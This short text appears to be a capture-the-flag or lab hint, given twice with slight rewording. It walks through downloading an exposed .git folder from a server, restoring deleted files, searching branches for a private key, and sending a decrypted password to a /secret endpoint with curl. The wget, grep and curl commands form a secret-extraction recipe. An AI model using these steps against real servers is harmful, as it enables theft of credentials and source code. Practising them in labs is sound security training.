While you have access to .git folder:

• Download .git folder :

wget  https://server_address:443/.git

• Check the status:

git status 

• If there is some deleted and uncommitted files, it can be restored:

git restore 

Else:

• Check if there is another branch

git branch 

• If there is another branch, switch to it and check if the private key is there:

grep -RHi "private key" .

Note that /secret endpoint accept only POST requests and it will not work if you try to access it in the browser. Consider using Postman or curl instead:

curl -d 'password=thedecryptedpass' -X POST https://server_address:443/secret

While you have access to the .git folder:

• Download the .git folder :

  wget https://server_address:443/.git
  

• Check the status:

  git status 
  

• If there is some deleted and uncommitted files, they can be restored:

  git restore 
  

If that doesn't work,

• Check if there is another branch:

  git branch 
  

• If there is another branch, switch to it and check if the private key is there:

  grep -RHi "private key" .
  

Note that the /secret endpoint only accepts POST requests, and it will not work if you try to access it in the browser. Consider using Postman or curl instead:

curl -d 'password=thedecryptedpass' -X POST https://server_address:443/secret